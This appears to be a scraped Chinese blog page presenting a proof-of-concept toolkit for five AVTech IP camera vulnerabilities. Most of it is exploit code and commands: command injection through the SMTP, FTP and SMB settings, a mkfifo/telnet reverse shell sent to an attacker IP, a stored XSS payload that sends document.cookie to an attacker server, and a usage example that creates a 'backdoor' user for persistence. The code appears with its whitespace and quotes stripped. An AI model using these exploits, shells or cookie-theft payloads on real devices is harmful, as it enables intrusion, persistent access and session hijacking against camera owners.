2026/6/28 23:52:44
网站建设
项目流程
新手学做网站图纸,微信小程序源码提取工具,湖南网站建设推广,装修app项目标题与描述
AVTech PoCs 是一个专门针对AVTech IP摄像机中多个已发现漏洞的概念验证#xff08;Proof of Concept#xff09;工具集合。该项目实现了对CVE-2025-57199、CVE-2025-57200、CVE-2025-57201、CVE-2025-57202和CVE-2025-57203的利用#xff0c;通过自动化脚本…项目标题与描述AVTech PoCs是一个专门针对AVTech IP摄像机中多个已发现漏洞的概念验证Proof of Concept工具集合。该项目实现了对CVE-2025-57199、CVE-2025-57200、CVE-2025-57201、CVE-2025-57202和CVE-2025-57203的利用通过自动化脚本演示了这些安全漏洞的实际危害。核心价值在于为安全研究人员和渗透测试人员提供了一套完整的测试工具用于验证AVTech IP摄像机的安全性提高对物联网设备安全威胁的认识。功能特性多漏洞支持完整覆盖CVE-2025-57199至CVE-2025-57203五个关键漏洞多种攻击向量SMTP配置命令注入CVE-2025-57199FTP配置命令注入CVE-2025-57200SMB配置命令注入CVE-2025-57201网络故障检测命令注入CVE-2025-57202存储型XSS攻击CVE-2025-57203灵活的攻击方式直接命令执行反向Shell获取XSS会话劫持自动化利用流程自动登录、配置获取、参数污染、功能触发详细的调试输出JSON格式的配置信息展示便于分析和调试安装指南系统要求Python 3.6支持的网络环境可访问目标设备Linux/macOS/Windows操作系统依赖安装# 安装必要的Python依赖pipinstallrequests# 克隆项目gitclonerepository-urlcdavtech-pocs环境配置无需特殊配置确保Python环境正确设置即可。平台注意事项所有脚本基于标准Python库跨平台兼容网络连接需要能够访问目标设备的Web管理端口默认88反向Shell功能需要在攻击机上启动监听服务使用说明基础使用示例1. SMTP命令注入攻击python exploit_smtp.py --target-ip192.168.1.100--usernameadmin--passwordadmin--commandid2. FTP命令注入攻击python exploit_ftp.py --target-ip192.168.1.100--usernameadmin--passwordadmin--commanduname -a3. 获取反向Shell# 在攻击机上启动监听nc-lvp4444# 执行反向Shell攻击python exploit_smtp.py --target-ip192.168.1.100--usernameadmin--passwordadmin --attacker-ip192.168.1.50 --attacker-port4444--reverse-shell4. XSS会话窃取# 在攻击机上启动HTTP服务监听python-mhttp.server8080# 执行XSS攻击python exploit_xss.py --target-ip192.168.1.100--usernameadmin--passwordadmin --attacker-ip192.168.1.50 --attacker-port8080典型使用场景场景1安全评估验证# 验证设备是否存在SMTP注入漏洞python exploit_smtp.py-t192.168.1.100-Uadmin-Padmin-cecho Vulnerable! /tmp/test.txt场景2权限维持# 通过SMB配置注入创建后门用户python exploit_smb.py-t192.168.1.100-cuseradd -r -s /bin/bash backdoor场景3横向移动# 使用XSS窃取管理员cookie实现权限提升python exploit_xss.py --target-ip192.168.1.100 --attacker-ip10.0.0.5 --attacker-port9000API概览项目核心是DGM1104类提供以下主要方法login(username, password): 设备认证get_ftp_fields(): 获取FTP配置get_smtp_fields(): 获取SMTP配置get_smb_fields(): 获取SMB配置get_network_failure_fields(): 获取网络故障检测配置set_config_fields(config_values): 设置配置参数execute_ftp_test(): 触发FTP测试execute_smtp_test(): 触发SMTP测试add_user(username, password): 添加用户用于XSS攻击核心代码1. 主设备交互类dgm1104.pyimportrandomfrombase64importb64encodefromcopyimportdeepcopyfromrequestsimportReadTimeout,Session,ResponsefromtypingimportDict,List,Optionalfromurllib.parseimportquoteimportloggingclassDGM1104:CONFIG_PATH:str/cgi-bin/user/Config.cgiPWDGRP_PATH:str/cgi-bin/supervisor/PwdGrp.cgidef__init__(self,hostname:str,port:int88,https:boolFalse)-None:self.sessionSession()protocol:strhttpsifhttpselsehttpself.base_url:strf{protocol}://{hostname}:{port}deflogin(self,username:str,password:str)-bool:设备登录认证 Args: username: 用户名 password: 密码 Returns: 登录是否成功 account_string:strf{username}:{password}account_string_b64:strb64encode(account_string.encode()).decode()random_float:floatrandom.random()verify_path:strf/cgi-bin/nobody/VerifyCode.cgi?account{account_string_b64}rnd{random_float}url:strself.base_urlverify_path response:Responseself.session.get(url)login_successful:bool(response.status_code200andlen(self.session.cookies)1)returnlogin_successfuldefget_config_category(self,category:strNetwork.FTP)-Optional[Dict[str,str]]:获取指定配置类别的所有字段 Args: category: 配置类别路径 Returns: 配置字典或None失败时 url:strself.base_urlself.CONFIG_PATH data:Dict[str,str]{action:get,category:f{category}.*}try:response:Responseself.session.post(urlurl,datadata)response_lines:List[str]response.text.split(\n)[2:]iflen(response_lines)2:returnNoneconfig_values:Dict[str,str]{}forlineinresponse_lines:first_equals_indexline.find()iffirst_equals_index-1:continuekey:strline[:first_equals_index]value:strline[first_equals_index1:]config_values[key]valuereturnconfig_valuesexceptExceptionase:logging.error(fFailed to get config category{category}:{e})returnNone2. SMTP命令注入利用脚本exploit_smtp.pyimportargparseimportjsonimportloggingimportsysfromcopyimportdeepcopyfromtypingimportDict,Optionalfromdgm1104importDGM1104 EXIT_FAILURE:int1EXIT_SUCCESS:int0defexploit(target_ip:str,target_port:int,username:str,password:str,command:str,)-bool:执行SMTP配置命令注入攻击 Args: target_ip: 目标设备IP target_port: 目标设备端口 username: 认证用户名 password: 认证密码 command: 要执行的命令 Returns: 攻击是否成功 # 初始化设备连接device:DGM1104DGM1104(hostnametarget_ip,porttarget_port,)# 登录设备logged_in:booldevice.login(usernameusername,passwordpassword,)ifnotlogged_in:logging.error([!] Failed to log into device.)returnFalselogging.info([] Logged into device successfully.)# 获取原始SMTP配置original_smtp_fields:Optional[Dict[str,str]]device.get_smtp_fields()iforiginal_smtp_fieldsisNone:logging.error([!] Failed to get original SMTP fields)returnFalse# 打印原始配置调试信息original_smtp_fields_json_str:strjson.dumps(original_smtp_fields,indent4,)logging.debug([] Retrieved Original SMTP Fields:\noriginal_smtp_fields_json_str)# 构造恶意配置命令注入new_smtp_fields:Dict[str,str]deepcopy(original_smtp_fields)new_smtp_fields[Network.SMTP.Sender]f{command}# 设置恶意配置smtp_fields_set:booldevice.set_config_fields(config_valuesnew_smtp_fields,)ifnotsmtp_fields_set:logging.error([!] Failed to set SMTP fields)returnFalselogging.debug([] Set SMTP sender field with poisoned value.)# 触发SMTP测试执行命令smtp_test_executed:booldevice.execute_smtp_test()ifnotsmtp_test_executed:logging.error([!] Failed to execute SMTP test.)returnFalselogging.info([] Command Executed!)returnTruedefreverse_shell(target_ip:str,target_port:int,username:str,password:str,attacker_ip:str,attacker_port:int,)-bool:建立反向Shell连接 Args: target_ip: 目标设备IP target_port: 目标设备端口 username: 认证用户名 password: 认证密码 attacker_ip: 攻击者IP attacker_port: 攻击者监听端口 Returns: 反向Shell是否成功建立 # 构造反向Shell命令reverse_shell_command:str(TF$(mktemp -u);mkfifo $TF telnet attacker_ip str(attacker_port) 0$TF | sh 1$TF)# 使用SMTP注入执行反向Shell命令returnexploit(target_iptarget_ip,target_porttarget_port,usernameusername,passwordpassword,commandreverse_shell_command,)3. XSS攻击利用脚本exploit_xss.pyimportargparseimportsysfromtypingimportOptionalfromdgm1104importDGM1104 EXIT_FAILURE:int1EXIT_SUCCESS:int0# 默认XSS Payload简单的JavaScript弹窗DEFAULT_PAYLOAD:strimg srcx onerrorprint() /defexploit(target_ip:str,target_port:int,username:str,password:str,payload:str,)-bool:执行存储型XSS攻击 Args: target_ip: 目标设备IP target_port: 目标设备端口 username: 认证用户名 password: 认证密码 payload: XSS攻击载荷 Returns: 攻击是否成功 # 初始化设备连接device:DGM1104DGM1104(hostnametarget_ip,porttarget_port,)# 登录设备logged_in:booldevice.login(usernameusername,passwordpassword,)ifnotlogged_in:print([!] Failed to log into device.)returnFalseprint([] Logged into device successfully.)# 添加恶意用户用户名为XSS Payloaduser_added:booldevice.add_user(usernamepayload,passwordpassword)ifnotuser_added:print([!] Failed to add user!)returnFalseprint(f[] Set created a user account with{payload}payload as username.)print(f[*] Either visit the accounts page to trigger the payload, or wait for another user to.)returnTruedefgenerate_xss_cookie_payload(ip:str,port:str)-str:生成Cookie窃取XSS Payload Args: ip: 攻击者服务器IP port: 攻击者服务器端口 Returns: 构造好的XSS Payload returnfimg srcx onerrorthis.srchttp://{ip}:{port}/?document.cookie; this.removeAttribute(onerror);这些核心代码展示了项目的技术实现细节包括设备交互、漏洞利用逻辑和攻击载荷构造。代码结构清晰注释详细便于安全研究人员理解和修改。6HFtX5dABrKlqXeO5PUv//BvmoPhYvgx1TRcZLWgRyY更多精彩内容 请关注我的个人公众号 公众号办公AI智能小助手对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号网络安全技术点滴分享